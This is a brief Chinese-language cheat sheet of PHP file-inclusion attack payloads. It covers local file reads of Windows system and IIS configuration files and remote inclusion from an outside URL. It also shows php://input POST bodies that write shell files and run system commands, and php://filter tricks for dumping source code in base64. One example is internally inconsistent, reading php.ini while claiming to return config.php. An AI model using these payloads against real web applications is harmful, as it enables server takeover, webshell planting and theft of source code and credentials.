主要包含形式
1.包含本地文件
payload:
?page=C:\oneword
?file=C:\boot.ini(Windows查看系统版本)
?file=C:\WindowsSystem32inetsrvMetaBase.xml(Windows查看IIS配置文件)
2.包含远程文件
payload:
?url=http://www.bbb.com/2.txt
?url=[http|https|ftp]://www.bbb.com/2.txt(可以有三种,http、https、ftp)
3.伪协议
1) php://input
说明:
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
用例1 增加一句话:
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
用例2 增加文件:
URL:http://localhost/include/file.php?file=php://input
POST:<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>
这里fopen参数为w,可新建一个文件。
用例3 执行系统命令:
URL:http://localhost/include/file.php?file=php://input
POST:<?php system('ipconfig');?>
2)data://
说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
3)php://filter
说明:
这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
?page=php://filter/read=convert.base64-encode/resource=php.ini
访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码
payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=file.php